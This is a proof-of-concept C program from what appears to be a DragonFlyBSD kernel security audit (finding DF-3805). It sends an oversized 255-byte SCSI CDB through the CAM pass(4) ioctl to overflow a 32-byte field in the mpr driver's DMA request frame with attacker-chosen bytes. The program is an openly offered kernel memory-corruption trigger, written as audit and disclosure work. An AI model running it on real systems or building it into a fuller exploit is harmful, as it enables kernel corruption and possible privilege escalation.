⬢ DragonFlyBSD Kernel Audit
DF-3805 / cdb_overlong.c
← back to finding ↓ download raw
/*
 * DF-3805 trigger — oversized CDB (cdb_len = 255) with CAM_CDB_POINTER.
 *
 * Demonstrates that a userland CAM client can submit an XPT_SCSI_IO CCB
 * whose cdb_len (u_int8_t, max 255) far exceeds the 32-byte CDB field of
 * an MPI2 SCSI IO request frame.  Nothing in the CAM framework (pass(4)
 * CAMIOCOMMAND -> xpt_merge_ccb -> SIM) validates cdb_len; whether the
 * copy is bounded is entirely up to the receiving SIM:
 *
 *   - ahci ATAPI validates 6..16 (sys/dev/disk/ahci/ahci_cam.c:1512)
 *     -> returns CAM_CCB_LEN_ERR (what we expect on the guest's DVD).
 *   - mpr (Avago/LSI SAS3) does NOT: mprsas_action_scsiio bcopy's
 *     csio->cdb_len bytes into req->CDB.CDB32[32]
 *     (sys/dev/raid/mpr/mpr_sas.c:2102-2109), overflowing the request
 *     frame; the KASSERT there is INVARIANTS-only and only guards the
 *     non-pointer path.
 *
 * On an mpr-attached bus this overflows the per-command request frame in
 * the req_frames DMA pool (sys/dev/raid/mpr/mpr.c:1530) with attacker
 * bytes; for the last SMID the copy runs past the whole DMA allocation.
 * The copy source is also a raw user pointer (cam_periph_mapmem never
 * touches cdb_ptr), i.e. kernel reads of user memory without copyin.
 *
 * Build:  cc -O -o cdb_overlong cdb_overlong.c
 * Run:    ./cdb_overlong /dev/pass0
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_pass.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/pass0";
	union ccb ccb;
	uint8_t cdb[255];
	int fd;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		perror("open");
		return (1);
	}

	/* Fill a maximally oversized CDB. */
	memset(cdb, 0x41, sizeof(cdb));
	cdb[0] = 0x12;		/* INQUIRY opcode so ATAPI can classify it */

	memset(&ccb, 0, sizeof(ccb));
	ccb.ccb_h.func_code = XPT_SCSI_IO;
	ccb.ccb_h.flags = CAM_CDB_POINTER | CAM_DIR_NONE;
	ccb.ccb_h.retry_count = 0;
	ccb.ccb_h.timeout = 5000;
	ccb.csio.cdb_io.cdb_ptr = cdb;
	ccb.csio.cdb_len = 255;		/* > 32-byte MPI2 CDB32 field */
	ccb.csio.dxfer_len = 0;
	ccb.csio.sense_len = 0;
	ccb.csio.tag_action = MSG_SIMPLE_Q_TAG;

	if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) {
		perror("CAMIOCOMMAND");
		close(fd);
		return (2);
	}

	printf("cdb_len=255 CCB accepted by CAM framework; SIM status = 0x%x\n",
	    ccb.ccb_h.status & CAM_STATUS_MASK);
	printf("(SIM-dependent handling: ahci rejects with CAM_CCB_LEN_ERR;"
	    " mpr would bcopy all 255 bytes into a 32-byte field)\n");
	close(fd);
	return (0);
}